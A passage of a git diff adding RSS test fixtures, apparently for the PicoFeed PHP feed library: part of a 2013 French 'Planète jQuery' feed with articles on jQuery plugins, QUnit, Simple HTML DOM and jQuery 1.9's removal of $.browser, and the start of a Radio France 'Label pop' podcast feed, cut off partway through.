+<p>Autre chose que j’attendais depuis longtemps, une <a title="QUnit 1.11 Release: A Look Back (and Forth)" href="http://blog.jquery.com/2013/01/24/qunit-1-11-release-a-look-back-and-forth/" target="_blank">mise à jour</a> de <strong>QUnit vers la 1.11</strong>. La modification clé qui m’importe est l’affichage du temps d’exécution par test. Celle-ci permettant donc de profiler un peu mieux l’exécution de vos applications.</p>
+<p>Côté non-officiel, je vous incite à jeter un oeil à tout ça :</p>
+<ul>
+<li><span><a title="Making Use of jQuery UI’s Widget Factory" href="http://net.tutsplus.com/tutorials/javascript-ajax/an-in-depth-review-of-jquerys-widget-factory/" target="_blank">Making Use of jQuery UI’s Widget Factory</a>, un tutoriel pour utiliser la widget factory de jQuery UI par NetTuts+ ;<br />
+</span></li>
+<li>Des <a title="Metro Notifications" href="http://codecanyon.net/item/metro-notifications/full_screen_preview/3903495" target="_blank">notifications à la façon de l’interface Metro</a>, c’est particulièrement réussi ;</li>
+<li>Le <a title="Créer sa première application jQuery Mobile" href="http://www.journaldunet.com/developpeur/client-web/tutoriel-jquery-mobile/" target="_blank">JournalDuNet</a> a publié un tutoriel pour créer une première application jQuery Mobile, ce tutoriel est directement inspiré du livre <a href="http://www.amazon.fr/gp/product/2744025631/ref=as_li_ss_tl?ie=UTF8&amp;camp=1642&amp;creative=19458&amp;creativeASIN=2744025631&amp;linkCode=as2&amp;tag=mathieurcom-21">Introduction à JQuery Mobile</a><img style="border: none !important; margin: 0px !important;" alt="" src="http://www.assoc-amazon.fr/e/ir?t=mathieurcom-21&amp;l=as2&amp;o=8&amp;a=2744025631" width="1" height="1" border="0" /> de Jon Reid ;</li>
+<li>Et mon ami canhory a publié <a title="Jquery.easyplug" href="http://cahnory.github.com/jQuery.easyPlug/" target="_blank">un boilerplate de plugins</a> que je n’ai pas pu tester en profondeur mais bien pensé.</li>
+</ul>
+<p>Je sors le tutoriel suivant de la pile ci-dessus parce qu’il est vraiment important et clé pour comprendre la mécanique interne de jQuery. « <a title="Do You Know When You Are Looping in jQuery?" href="http://www.elijahmanor.com/2013/01/yo-dawg-i-herd-you-like-loops-so-jquery.html" target="_blank">Do You Know When You Are Looping in jQuery?</a> » explique <strong>la logique des boucles de jQuery</strong>. La compréhension des explications qui y sont dispensées sont clés pour une amélioration plus que significative des performances de vos applications.</p>
+<p>Comme d’habitude, les ressources de cette chronique sont disponibles dans <a title="Episode 104, chroniques jQuery" href="https://www.evernote.com/pub/mathrobin/episode104" target="_blank">un carnet partagé dédié sur Evernote</a>.</p>
+<p>Bonne semaine à tous, et normalement à la semaine prochaine pour la chronique et dans le courant de la semaine pour d’autres publications.</p>
+ <p><a href="http://www.mathieurobin.com/?flattrss_redirect&amp;id=2834&amp;md5=2d4cf9be417bb0246861164484444843" title="Flattr" target="_blank"><img src="http://www.mathieurobin.com/wp-content/plugins/flattr/img/flattr-badge-large.png" alt="flattr this!" /></a></p><p><br/><i>Article original de <a href="http://www.mathieurobin.com/2013/02/chroniques-jquery-episode-104/" title="Voir l'article original">MathieuRobin</a><br/>Aller sur <a href="http://planete-jquery.fr" title="">Planète jQuery</a></i></p>]]></content:encoded></item><item rdf:about="http://www.megaptery.com/2013/02/vague-du-web-3.html"><title>Megaptery : La Vague du Web #3</title><link>http://www.megaptery.com/2013/02/vague-du-web-3.html</link><dc:date>2013-02-10T17:14:43+00:00</dc:date><dc:language>fr</dc:language><dc:creator>Megaptery</dc:creator><dc:subject></dc:subject><description></description><content:encoded><![CDATA[<p><strong>La Vague du Web</strong> est un condensé de ressources en tout genre vous permettant de suivre les dernières tendances web afin d’enrichir vos acquis en webdesign et développement… Bref, place à la Vague du Web numéro #3 !</p>
+<p><span></span></p>
+<h3>App Folders</h3>
+<p>App Folders est un plugin jQuery dédié aux smartphones qui imite <strong>le comportement des dossiers de l’interface iOS</strong> : lorsqu’on clique sur un dossier, les fichiers qui s’y trouvent s’affichent alors dans un volet coulissant. Ici, les « fichiers » sont des éléments HTML (images, textes, vidéos, etc) et les « dossiers » sont liés à des URL. Le script fonctionne sur tous les écrans (responsive) et peut être facilement customisé. </p>
+<ul>
+<li><strong><a href="http://app-folders.com/">http://app-folders.com/</a></strong></li>
+</ul>
+<p><a href="http://app-folders.com/"><img src="http://www.megaptery.com/wp-content/uploads/2013/01/app_folders.jpg" alt="app_folders" width="640" height="350" class="aligncenter size-full wp-image-5069" /></a></p>
+<h3>Easing</h3>
+<p>Les fonctions Easing (<em>easeOutElastic</em>, <em>easeInQuint</em>, etc) permettent de préciser <strong>la vitesse d’exécution d’une animation</strong> pour la rendre plus réaliste. En effet, dans la réalité un objet ne commence pas son mouvement instantanément et à vitesse constante : il subit une accélération et une décélaration. Voici un site qui partage le code de plusieurs fonctions Easing en trois langages : JavaScript (via le plugin jQuery Easing), SASS et CSS3 (courbes de Bézier).</p>
+<ul>
+<li><strong><a href="http://easings.net/">http://easings.net/</a></strong></li>
+</ul>
+<p><a href="http://easings.net/"><img src="http://www.megaptery.com/wp-content/uploads/2013/01/easing.jpg" alt="easing" width="640" height="350" class="aligncenter size-full wp-image-5068" /></a></p>
+<h3>Piecon</h3>
+<p>Piecon est une petite librairie JavaScript permettant de <strong>modifier à la volée le favicon</strong> d’une page afin de montrer un graphique de progression (pie chart) ou de modifier son <em>title</em> afin d’afficher un pourcentage de progression. Cela peut être utile dans le cas d’un upload de fichier : l’utilisateur peut continuer à naviguer et jeter un coup d’œil à l’onglet qui indique l’avancement de la mise en ligne.</p>
+<ul>
+<li><strong><a href="http://lipka.github.com/piecon/">http://lipka.github.com/piecon/</a></strong></li>
+</ul>
+<p><a href="http://lipka.github.com/piecon/"><img src="http://www.megaptery.com/wp-content/uploads/2013/01/piecon.jpg" alt="piecon" width="640" height="350" class="aligncenter size-full wp-image-5067" /></a></p>
+<h3>Motio</h3>
+<p>Motio est un plugin jQuery spécialisé dans <strong>l’animation de sprites CSS</strong>, conçu aussi bien pour faire défiler un décor que pour mettre en mouvement un personnage. Plusieurs options sont configurables : sens de l’animation (vertical ou horizontal), mise en pause, nombre de FPS (images par seconde), vitesse de défilement, etc. </p>
+<ul>
+<li><strong><a href="http://darsa.in/motio/">http://darsa.in/motio/</a></strong></li>
+</ul>
+<p><a href="http://darsa.in/motio/"><img src="http://www.megaptery.com/wp-content/uploads/2013/01/motio.jpg" alt="motio" width="640" height="350" class="aligncenter size-full wp-image-5066" /></a></p>
+<h3>Gemicon</h3>
+<p>Gemicon est un pack gratuit de plus de <strong>600 icônes au format PNG</strong> et disponibles en plusieurs tailles (16×16, 32×32, 64×64). Le pack contient également les images vectorisées au format PSD, donc redimensionnables sans perte de qualité. Le set peut être utilisé aussi bien pour un usage personnel que pour un projet commercial.</p>
+<ul>
+<li><strong><a href="http://gemicon.net/">http://gemicon.net/</a></strong></li>
+</ul>
+<p><a href="http://gemicon.net/"><img src="http://www.megaptery.com/wp-content/uploads/2013/01/gemicon.jpg" alt="gemicon" width="640" height="363" class="aligncenter size-full wp-image-5064" /></a></p>
+<h3>PlaceIt</h3>
+<p>PlaceIt est un outil vous permettant de générer en quelques secondes <strong>des captures d’écran réalistes</strong> via un simple drag-and-drop : il insère l’image dans le support de votre choix (iPad, iPhone, Android, etc) et applique automatiquement les reflets et les inclinaisons pour un rendu réaliste et contextuel de votre capture d’écran. Vous pouvez voir un exemple d’utilisation sur la couverture de <a href="https://www.facebook.com/Megaptery">la page Facebook Megaptery</a>.</p>
+<ul>
+<li><strong><a href="http://placeit.breezi.com/">http://placeit.breezi.com/</a></strong></li>
+</ul>
+<p><a href="http://placeit.breezi.com/"><img src="http://www.megaptery.com/wp-content/uploads/2013/01/placeit.jpg" alt="placeit" width="640" height="350" class="aligncenter size-full wp-image-5060" /></a></p>
+<h3>Flipping Circle Slideshow</h3>
+<p>Flipping Circle Slideshow est <strong>un mini slideshow circulaire</strong> développé avec jQuery par l’équipe de <a href="http://tympanus.net/codrops/">Codrops</a>. Il s’agit d’un concept expérimental : l’idée est de retourner la slide dans le cercle (flip) avec un angle spécifique selon l’endroit où vous cliquez. L’effet est plutôt réussi.</p>
+<ul>
+<li><strong><a href="http://tympanus.net/Development/CircleFlipSlideshow/">http://tympanus.net/Development/CircleFlipSlideshow/</a></strong></li>
+</ul>
+<p><a href="http://tympanus.net/Development/CircleFlipSlideshow/"><img src="http://www.megaptery.com/wp-content/uploads/2013/02/flipping_slideshow.jpg" alt="flipping_slideshow" width="640" height="350" class="aligncenter size-full wp-image-5217" /></a></p>
+<h3>Bootsnipp</h3>
+<p>Bootsnipp est <strong>une collection de snippets (HTML/CSS, JS) et éléments graphiques</strong> qui viennent compléter le framework <a href="http://twitter.github.com/bootstrap/">Bootstrap</a> développé par Twitter. Vous retrouverez tout un tas d’interfaces externes au framework prêtes à l’utilisation : formulaires, barres de navigation, sliders, graphiques… mais aussi des cas très spécifiques (fenêtre de tweet, interface Gmail, etc). Bref, c’est assez varié. Un petit copier-coller et le tour est joué.</p>
+<ul>
+<li><strong><a href="http://bootsnipp.com/">http://bootsnipp.com/</a></strong></li>
+</ul>
+<p><a href="http://bootsnipp.com/"><img src="http://www.megaptery.com/wp-content/uploads/2012/12/bootsnipp.jpg" alt="bootsnipp" width="640" height="350" class="aligncenter size-full wp-image-5008" /></a></p>
+<h3>One% CSS Grid</h3>
+<p>One% CSS Grid est <strong>un framework CSS responsive basé sur un système à 12 colonnes</strong> avec deux résolutions de départ (1024px et 1280px). Léger et facile en prendre en main, l’outil est compatible avec tous les terminaux mobiles et propose également une grille pour le logiciel Photoshop.</p>
+<ul>
+<li><strong><a href="http://onepcssgrid.mattimling.com/">http://onepcssgrid.mattimling.com/</a></strong></li>
+</ul>
+<p><a href="http://onepcssgrid.mattimling.com/"><img src="http://www.megaptery.com/wp-content/uploads/2012/12/one_css_grid.jpg" alt="one_css_grid" width="640" height="350" class="aligncenter size-full wp-image-5003" /></a></p>
+<h3>PlayThru</h3>
+<p>Basé sur HTML5, PlayThru est une bonne alternative au célèbre <a href="http://www.google.com/recaptcha">Recaptcha</a> de Google. En effet, ce service remplace le captcha traditionnel par <strong>un petit jeu interactif et ludique</strong> : une consigne vous décrit les opérations à effectuer (manipulation d’objets via la souris ou le tacticle) pour être considérer comme un être humain, par exemple garer des voitures, poser des canettes dans une glacière… etc. Plutôt original ! Compatible avec tous les navigateurs récents.</p>
+<ul>
+<li><strong><a href="http://areyouahuman.com/">http://areyouahuman.com/</a></strong></li>
+</ul>
+<p><a href="http://areyouahuman.com/"><img src="http://www.megaptery.com/wp-content/uploads/2012/12/areyouhuman.jpg" alt="areyouhuman" width="640" height="350" class="aligncenter size-full wp-image-5017" /></a></p>
+<h3>jQuery Snipe</h3>
+<p>Similaire à <a href="http://www.megaptery.com/2011/07/zoomy-plugin-jquery-zoom-images.html">Zoomy</a>, Snipe est un plugin jQuery qui permet de mettre en place <strong>un effet de loupe sur vos images</strong> au survolement de la souris. Pour cela, il est nécessaire de fournir deux images au script, l’image normale et l’image zoomée, ce qui donne la possibilité de jouer sur leurs différences (par exemple avec la couleur). Le style CSS de la loupe est totalement personnalisable.</p>
+<ul>
+<li><strong><a href="http://rayfranco.github.com/jquery.snipe/">http://rayfranco.github.com/jquery.snipe/</a></strong></li>
+</ul>
+<p><a href="http://rayfranco.github.com/jquery.snipe/"><img src="http://www.megaptery.com/wp-content/uploads/2012/12/jquery_snipe.jpg" alt="jquery_snipe" width="640" height="350" class="aligncenter size-full wp-image-5006" /></a></p><p><br/><i>Article original de <a href="http://www.megaptery.com/2013/02/vague-du-web-3.html" title="Voir l'article original">Megaptery</a><br/>Aller sur <a href="http://planete-jquery.fr" title="">Planète jQuery</a></i></p>]]></content:encoded></item><item rdf:about="http://js.4design.tl/parcourir-le-dom-en-php-avec-simple-html-dom-1578"><title>Js4Design : Parcourir le DOM en PHP avec Simple HTML DOM</title><link>http://js.4design.tl/parcourir-le-dom-en-php-avec-simple-html-dom-1578</link><dc:date>2013-02-04T09:28:34+00:00</dc:date><dc:language>fr</dc:language><dc:creator>Js4Design</dc:creator><dc:subject></dc:subject><description></description><content:encoded><![CDATA[<p><a href="http://simplehtmldom.sourceforge.net">Simple HTML DOM</a> est un script PHP qui permet de parcourir une page web pour y rechercher n’importe quel élément, aussi simplement qu’avec jQuery. Une ligne suffit pour extraire le contenu qui vous intéresse !<span></span></p>
+<p>Avec Simple HTML DOM, il est possible de :</p>
+<ul>
+<li>Rechercher des éléments,</li>
+<li>Modifier le contenu d’un élément,</li>
+<li>D’extraire du contenu.</li>
+</ul>
+<p>Ainsi, pour rechercher tous les articles présents sur une page, il suffit de quelques lignes, comme par exemple :</p>
+<pre>// Create DOM from URL
+ $html = file_get_html('http://slashdot.org/');
+// Find all article blocks
+ foreach($html->find('div.article') as $article) {
+ $item['title']     = $article->find('div.title', 0) ->plaintext;
+ $item['intro']     = $article->find('div.intro', 0) ->plaintext;
+ $item['details']  = $article->find('div.details', 0)->plaintext;
+ $articles[] = $item;
+ }
+print_r($articles);</pre>
+<p>Le site propose de nombreux exemples d’utilisation. Toutefois, vous trouverez chez <a href="http://davidwalsh.name/php-notifications">David Walsh</a> un exemple complet pour vérifier si des pages web on été modifiées et vous envoyer un mail le cas échéant.</p>
+<p>→ Simple HTML DOM est sur <a href="http://simplehtmldom.sourceforge.net">Sourgeforge</a>.</p>
+<p>Voir aussi <strong><a href="http://code.google.com/p/phpquery">phpQuery</a></strong> pour sélectionner les éléments du DOM côté serveur (via @c2c)</p><p><br/><i>Article original de <a href="http://js.4design.tl/parcourir-le-dom-en-php-avec-simple-html-dom-1578" title="Voir l'article original">Js4Design</a><br/>Aller sur <a href="http://planete-jquery.fr" title="">Planète jQuery</a></i></p>]]></content:encoded></item><item rdf:about="http://chez-syl.fr/2013/02/jquery-1-9-et-browser/"><title>Chez Syl : jQuery 1.9 et $.browser</title><link>http://chez-syl.fr/2013/02/jquery-1-9-et-browser/</link><dc:date>2013-02-03T13:44:33+00:00</dc:date><dc:language>fr</dc:language><dc:creator>Chez Syl</dc:creator><dc:subject></dc:subject><description></description><content:encoded><![CDATA[<p>Comme vous le savez, jQuery 1.9 est sorti le 15/01/2013 avec plusieurs changements majeurs, dont la suppression pure et simple de la propriété $.browser. Cette propriété était dépréciée depuis la version 1.3 de jQuery, ce qui signifiait qu’elle serait supprimée tôt ou tard.<br />
+Le mal est maintenant fait, et comme cette propriété fut largement utilisée, on se retrouve avec des effets de bord notamment sur certains plugins qu’on utilise, qui ne sont donc pas compatibles avec la 1.9 et qui pour beaucoup sont non-maintenus par leurs auteurs.<br />
+Parfois il existe d’autres plugins alternatifs et on peut trouver son bonheur ailleurs, et parfois non…<br />
+<span></span></p>
+<blockquote><p>J’utilise un plugin qui fait appel à $.browser et il n’est pas compatible jQuery 1.9, que faire ?</p></blockquote>
+<ul>
+<li>Rester avec jQuery < 1.9 (1.8.3 étant la dernière).</li>
+<li>Utiliser conjointement jQuery 1.9 et le plugin <a href="http://blog.jquery.com/2013/01/31/jquery-migrate-1-1-0-released/">jQuery Migrate</a>.</li>
+<li>Regarder la version que vous utilisez (très souvent indiquée dans les premières lignes du code), chercher sur le net le site officiel du plugin (ou sur GitHub) et regarder s’il n’y a pas une version plus récente.</li>
+<li>Pas de chance, le plugin n’est plus maintenu par l’auteur, il faut donc chercher un autre plugin qui fait la même chose et qui lui serait maintenu.</li>
+<li>Encore pas de chance, le plugin est bien le seul à répondre à vos besoins, triste sort qui s’acharne, il reste une dernière solution !</li>
+</ul>
+<h3>Inclure la propriété $.browser version stand-alone</h3>
+<p>Vous pouvez inclure entre l’appel de jQuery et l’appel du plugin, un des deux fichiers suivants :</p>
+<ul>
+<li><a href="http://dev.chez-syl.fr/jquery_1.9_browser/jquery.browser.min.js"><i></i> jquery.browser.min.js</a></li>
+<li><a href="http://dev.chez-syl.fr/jquery_1.9_browser/jquery.browser.js"><i></i> jquery.browser.js</a></li>
+</ul>
+<p>Vous pourrez à présent utiliser votre plugin avec jQuery 1.9.</p>
+<p><a href="http://jquery.com/upgrade-guide/1.9/">Changelog jQuery 1.9</a></p><p><br/><i>Article original de <a href="http://chez-syl.fr/2013/02/jquery-1-9-et-browser/" title="Voir l'article original">Chez Syl</a><br/>Aller sur <a href="http://planete-jquery.fr" title="">Planète jQuery</a></i></p>]]></content:encoded></item><item rdf:about="http://chez-syl.fr/2013/02/site-du-zero-notifications-1-5-3/"><title>Chez Syl : Site du zéro Notifications 1.5.3</title><link>http://chez-syl.fr/2013/02/site-du-zero-notifications-1-5-3/</link><dc:date>2013-02-02T20:29:01+00:00</dc:date><dc:language>fr</dc:language><dc:creator>Chez Syl</dc:creator><dc:subject></dc:subject><description></description><content:encoded><![CDATA[<p>L’extension a été mise à jour pour fonctionner avec la v4 du SdZ.</p>
+<p><a href="http://www.siteduzero.com/forum/sujet/extension-chrome-site-du-zero-notifications-13549?page=11#message-84070293">Voir mon post</a> récapitulatif des changements et rendez-vous sur la <a href="http://sylouuu.github.com/sdz-notifications/">page de l’extension</a>. :)</p><p><br/><i>Article original de <a href="http://chez-syl.fr/2013/02/site-du-zero-notifications-1-5-3/" title="Voir l'article original">Chez Syl</a><br/>Aller sur <a href="http://planete-jquery.fr" title="">Planète jQuery</a></i></p>]]></content:encoded></item><item rdf:about="http://www.lafermeduweb.net/billet/image-picker-une-selectbox-combinee-a-des-images-avec-jquery-1512.html"><title>LaFermeDuWeb : Image Picker - Une selectbox combinée à des images avec jQuery</title><link>http://www.lafermeduweb.net/billet/image-picker-une-selectbox-combinee-a-des-images-avec-jquery-1512.html</link><dc:date>2013-02-01T09:16:23+00:00</dc:date><dc:language>fr</dc:language><dc:creator>LaFermeDuWeb</dc:creator><dc:subject></dc:subject><description></description><content:encoded><![CDATA[<div>
+ <a href="http://www.lafermeduweb.net/billet/image-picker-une-selectbox-combinee-a-des-images-avec-jquery-1512.html">
+ <img style="border: 1px solid #000000;" src="http://www.lafermeduweb.net/images/billets/2013-02/image-picker_topBillet.jpg" alt="Image Picker - Une selectbox combinée à des images avec jQuery" />
+ </a>
+ </div>
+ <div>Image Picker est un plugin jQuery permettant de combiner une selectbox avec une liste d'images pour rendre l'expérience utilisateur plus interactive.</div><p><br/><i>Article original de <a href="http://www.lafermeduweb.net/billet/image-picker-une-selectbox-combinee-a-des-images-avec-jquery-1512.html" title="Voir l'article original">LaFermeDuWeb</a><br/>Aller sur <a href="http://planete-jquery.fr" title="">Planète jQuery</a></i></p>]]></content:encoded></item><item rdf:about="http://www.megaptery.com/2013/01/blackandwhite-images-noir-blanc-jquery.html"><title>Megaptery : BlackAndWhite, passez vos images en noir et blanc avec jQuery</title><link>http://www.megaptery.com/2013/01/blackandwhite-images-noir-blanc-jquery.html</link><dc:date>2013-01-30T13:54:15+00:00</dc:date><dc:language>fr</dc:language><dc:creator>Megaptery</dc:creator><dc:subject></dc:subject><description></description><content:encoded><![CDATA[<p><strong>BlackAndWhite</strong> est un plugin jQuery qui permet de générer une image en noir-et-blanc à partir d’une image en couleur, avec la possibilité de mettre en place une animation au rollover faisant apparaitre soit l’une, soit l’autre.</p>
+<p><span></span></p>
+<h3>Passez au noir et blanc !</h3>
+<p>Le plugin peut facilement convertir n’importe quelle image couleur en <strong>une image noir et blanc avec niveaux de gris</strong>. Pour cela, il utilise l’élément HTML5 canvas et propose une solution de repli pour les anciens navigateurs. Ainsi, on peut afficher une liste d’images dé-saturées qui s’animent pour reprendre leurs couleurs initiales au rollover, et inversement. Vous pouvez bien sûr vous en servir uniquement pour afficher des images décolorées statiques, sans le moindre effet.</p>
+<p><img src="http://www.megaptery.com/wp-content/uploads/2013/01/jquery_blackwhite.jpg" alt="jquery_blackwhite" width="640" height="350" class="aligncenter size-full wp-image-5135" /></p>
+<p><strong>Quelques options</strong> sont disponibles pour configurer BlackAndWhite : changement d’image au rollover ou non, vitesse d’animation en entrée et en sortie du rollover (transition de type <em>fade</em> uniquement), affichage des images noir-et-blanc pour animer vers la couleur ou inversement, activation d’un mode responsive (sur les images et les canvas), etc. </p>
+<h3>Installation du plugin</h3>
+<p>On commence par inclure jQuery et le plugin BackAndWhite :</p>
+<pre>
+<script src="js/jquery.js"></script>
+<script src="js/jQuery.BlackAndWhite.js"></script>
+</pre>
+<p>Ensuite, on définit la structure HTML qui va afficher les images, par exemple une liste non ordonnée. Il faut ensuite penser à ajouter une classe CSS sur l’élément qui englobe l’image. Ici, l’élément parent est un lien et on lui applique la classe <em>bwWrapper</em>.</p>
+<pre>
+<ul class="wrapper">
+ <li>
+ <a href="#" class="bwWrapper">
+ <img src="files/image1.jpg" alt="" />
+ </a>
+ </li>
+ <li>
+ <a href="#" class="bwWrapper">
+ <img src="files/image2.jpg" alt="" />
+ </a>
+ </li>
+ <li>
+ <a href="#" class="bwWrapper">
+ <img src="files/image3.jpg" alt="" />
+ </a>
+ </li>
+</ul>
+</pre>
+<p>Puis on ajoute les propriétés CSS suivantes sur l’élément parent :</p>
+<pre>
+.bwWrapper {
+ position:relative;
+ display:block;
+}
+</pre>
+<p>Enfin, on termine par l’appel du plugin. Attention, il faut bien penser à utiliser la méthode <em>$(window).load()</em> qui permet d’attendre le chargement complet des images avant l’exécution du script, et non <em>$(document).ready()</em>.</p>
+<pre>
+$(window).load(function(){
+ $('.bwWrapper').BlackAndWhite({
+ hoverEffect : true,
+ responsive:true,
+ speed: {
+ fadeIn: 200,
+ fadeOut: 800
+ }
+ });
+});
+</pre>
+<p>BackAndWhite est donc un plugin jQuery pratique pour passer facilement vos images couleur en noir-et-blanc côté client.</p>
+<p><strong>Requis</strong> : jQuery<br />
+<strong>Compatibilité</strong> : Tous navigateurs<br />
+<strong>Démonstration</strong> : <a href="http://gianlucaguarini.com/canvas-experiments/jQuery.BlackAndWhite/">http://gianlucaguarini.com/canvas-experiments/jQuery.BlackAndWhite/</a><br />
+<strong>Licence</strong> : MIT</p><p><br/><i>Article original de <a href="http://www.megaptery.com/2013/01/blackandwhite-images-noir-blanc-jquery.html" title="Voir l'article original">Megaptery</a><br/>Aller sur <a href="http://planete-jquery.fr" title="">Planète jQuery</a></i></p>]]></content:encoded></item><item rdf:about="http://www.mathieurobin.com/2013/01/chroniques-jquery-episode-103/"><title>MathieuRobin : Chroniques jQuery, épisode 103</title><link>http://www.mathieurobin.com/2013/01/chroniques-jquery-episode-103/</link><dc:date>2013-01-28T09:16:45+00:00</dc:date><dc:language>fr</dc:language><dc:creator>MathieuRobin</dc:creator><dc:subject></dc:subject><description></description><content:encoded><![CDATA[<p>Hello à tous !</p>
+<p>Après les grosses annonces de la semaine dernière, on pouvait s’attendre à du calme cette semaine. Sauf que je vous avais prévenu qu’il y aurait encore du lourd du coté de jQuery Mobile. Erratum de ma part donc, puisque mon informatrice m’a involontairement induit en erreur. En fait<a title="Announcing the jQuery Plugin Registry" href="http://blog.jquery.com/2013/01/16/announcing-the-jquery-plugin-registry/" target="_blank"> l’annonce officielle</a> bien sympa est la suivante :</p>
+<p><strong>Le site officiels de plugins est de retour !</strong></p>
+<p>Donc vous pouvez recommencer à soumettre vos plugins et il y a même tout une <a title="Publishing Your Plugin" href="http://plugins.jquery.com/docs/publish/" target="_blank">procédure pour vous expliquer comment</a> faire.</p>
+<p>Au passage, ils ont entièrement rénové le site. Aussi bien la doc que le blog etc… Jetez un oeil <a title="jQuery" href="http://jquery.com/" target="_blank">au nouveau site</a> et au <a title="A Site To Behold: Open Content &amp; Design Comes to jQuery" href="http://blog.jquery.com/2013/01/23/a-site-to-behold-open-content-design-comes-to-jquery-2/" target="_blank">billet d’explication des détails</a>. Tout ça à l’air très bien, ça devrait améliorer quelque peu l’expérience utilisateur. En tout cas, il y a de très nombreux très bon retours sur Twitter.</p>
+<p>Côté plugins, <a title="Des pixels et du code #46" href="http://www.inpixelitrust.fr/blog/des-pixels-et-du-code-46/" target="_blank">Stéphanie Walter</a> m’a encore permis de ne pas rater un plugin utile. jQuery UI Touch Punch vous permet d’ajouter <a title="jQuery UI Touch Punch" href="http://touchpunch.furf.com/" target="_blank">la gestion du tactile sur les widgets jQuery UI</a>.</p>
+<p>Je suis tombé sur <a title="Hotspotter - Hotspot Maker jQuery Plugin Preview" href="http://codecanyon.net/item/hotspotter-hotspot-maker-jquery-plugin/full_screen_preview/3833015" target="_blank">Hotspotter</a> cette semaine. Un excellent plugin pour mettre en avant certains point d’une image intégrée à votre site. Pour introduire des détails à la façon de l’identification des personnes sur Facebook. Je l’ai trouvé vraiment bien terminé.</p>
+<p>Un article sympathique a été publié sur tutplus.com pour expliquer <a title="Making Use of jQuery UI’s Widget Factory" href="http://net.tutsplus.com/tutorials/javascript-ajax/an-in-depth-review-of-jquerys-widget-factory/" target="_blank">comment construire des plugins jQuery UI en se servant de la widget factory</a>. Je n’ai malheureusement pas encore trouvé le temps de l’éprouver.</p>
+<p>Pour terminer, Aurélien Gerits et Addy Osmani ont remis à neuf <a title="jQuery UI Bootstrap" href="http://addyosmani.github.com/jquery-ui-bootstrap/" target="_blank">la documentation de jQuery UI Bootstrap</a>. Je vous laisse découvrir par vous même l’excellent travail effectué.</p>
+<p>Voilà, c’est tout pour cette fois. Je ne pense pas avoir le temps de publier quoi que ce soit d’autre cette semaine. Grosse livraison en fin de semaine, je suis déjà physiquement éreinté, mentalement je suis un légume donc je vais me consacrer au taf pour boucler ça proprement. A la semaine prochaine, ça ira mieux <img src="http://www.mathieurobin.com/wp-includes/images/smilies/icon_wink.gif" alt=";)" class="wp-smiley" /> </p>
+ <p><a href="http://www.mathieurobin.com/?flattrss_redirect&amp;id=2801&amp;md5=be855cabc93dc6e466abf65153cffce7" title="Flattr" target="_blank"><img src="http://www.mathieurobin.com/wp-content/plugins/flattr/img/flattr-badge-large.png" alt="flattr this!" /></a></p><p><br/><i>Article original de <a href="http://www.mathieurobin.com/2013/01/chroniques-jquery-episode-103/" title="Voir l'article original">MathieuRobin</a><br/>Aller sur <a href="http://planete-jquery.fr" title="">Planète jQuery</a></i></p>]]></content:encoded></item></rdf:RDF> \ No newline at end of file
diff --git a/vendor/fguillot/picofeed/tests/fixtures/radio-france.xml b/vendor/fguillot/picofeed/tests/fixtures/radio-france.xml
new file mode 100644
index 000000000..2f78cecf1
--- /dev/null
+++ b/vendor/fguillot/picofeed/tests/fixtures/radio-france.xml
@@ -0,0 +1,946 @@
+<?xml version="1.0" encoding="UTF-8" ?>
+<rss xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" xmlns:podcastRF="http://radiofrance.fr/Lancelot/Podcast#" version="2.0" >
+<channel>
+<title>Label pop</title>
+<link>http://www.francemusique.fr/emission/label-pop</link>
+<description>Chaque semaine, une oreille attentive à l'actualité, pour restituer l'éclatante vitalité de la pop moderne, entendue au sens le plus large</description>
+<language>fr</language>
+<copyright>Radio France</copyright>
+<lastBuildDate>Tue, 01 Jul 2014 09:36:20 +0200</lastBuildDate>
+<generator>Radio France</generator>
+<image>
+<url>http://media.radiofrance-podcast.net/podcast09/RF_OMM_0000006330_ITE.jpg</url>
+<title>Label pop</title>
+<link>http://www.francemusique.fr/emission/label-pop</link>
+</image>
+<itunes:author>Radio France</itunes:author>
+<itunes:category text="Music"></itunes:category>
+<itunes:explicit>no</itunes:explicit>
+<itunes:image href="http://media.radiofrance-podcast.net/podcast09/RF_OMM_0000006330_ITE.jpg" />
+<itunes:owner>
+<itunes:email>podcast@radiofrance.com</itunes:email>
+<itunes:name>Radio France</itunes:name>
+</itunes:owner>
+<itunes:subtitle>Label pop</itunes:subtitle>
+<itunes:summary>Chaque semaine, une oreille attentive à l'actualité, pour restituer l'éclatante vitalité de la pop moderne, entendue au sens le plus large</itunes:summary>
+<podcastRF:originStation>1003</podcastRF:originStation>
+<item>
+<title>Label Pop 30.06.2014</title>
+<link>http://www.francemusique.fr/emission/label-pop</link>
+<description>durée : 01:28:19 - Label pop - par : Vincent Théval - réalisé par : Sylvie Migault</description>
+<author>podcast@radiofrance.com</author>
+<category >Music </category>
+<enclosure url="http://rf.proxycast.org/909894762012614656/12668-30.06.2014-ITEMA_20648497-0.mp3" length="85370880" type="audio/mpeg" />
+<guid >http://media.radiofrance-podcast.net/podcast09/12668-30.06.2014-ITEMA_20648497-0.mp3</guid>
+<pubDate>Mon, 30 Jun 2014 23:59:00 +0200</pubDate>
+<podcastRF:businessReference>19555</podcastRF:businessReference><itunes:author>Vincent Théval</itunes:author>
+<itunes:explicit>no</itunes:explicit>
+<itunes:keywords>Label,Pop,30.06.2014</itunes:keywords>
+<itunes:subtitle>Émission du 30.06.2014</itunes:subtitle>
+<itunes:summary>durée : 01:28:19 - par : Vincent Théval - réalisé par : Sylvie Migault</itunes:summary>
+<itunes:duration>01:28:19</itunes:duration>
+</item>
+<item>
+<title>Label Pop 23.06.2014</title>
+<link>http://www.francemusique.fr/emission/label-pop</link>
+<description>durée : 01:28:06 - Label pop - par : Vincent Théval - réalisé par : Sylvie Migault</description>
+<author>podcast@radiofrance.com</author>
+<category >Music </category>
+<enclosure url="http://rf.proxycast.org/907297871903072256/12668-23.06.2014-ITEMA_20645272-0.mp3" length="85159936" type="audio/mpeg" />
+<guid >http://media.radiofrance-podcast.net/podcast09/12668-23.06.2014-ITEMA_20645272-0.mp3</guid>
+<pubDate>Mon, 23 Jun 2014 23:59:00 +0200</pubDate>
+<podcastRF:businessReference>19555</podcastRF:businessReference><itunes:author>Vincent Théval</itunes:author>
+<itunes:explicit>no</itunes:explicit>
+<itunes:keywords>Label,Pop,23.06.2014</itunes:keywords>
+<itunes:subtitle>Émission du 23.06.2014</itunes:subtitle>
+<itunes:summary>durée : 01:28:06 - par : Vincent Théval - réalisé par : Sylvie Migault</itunes:summary>
+<itunes:duration>01:28:06</itunes:duration>
+</item>
+<item>
+<title>Roddy Frame en session</title>
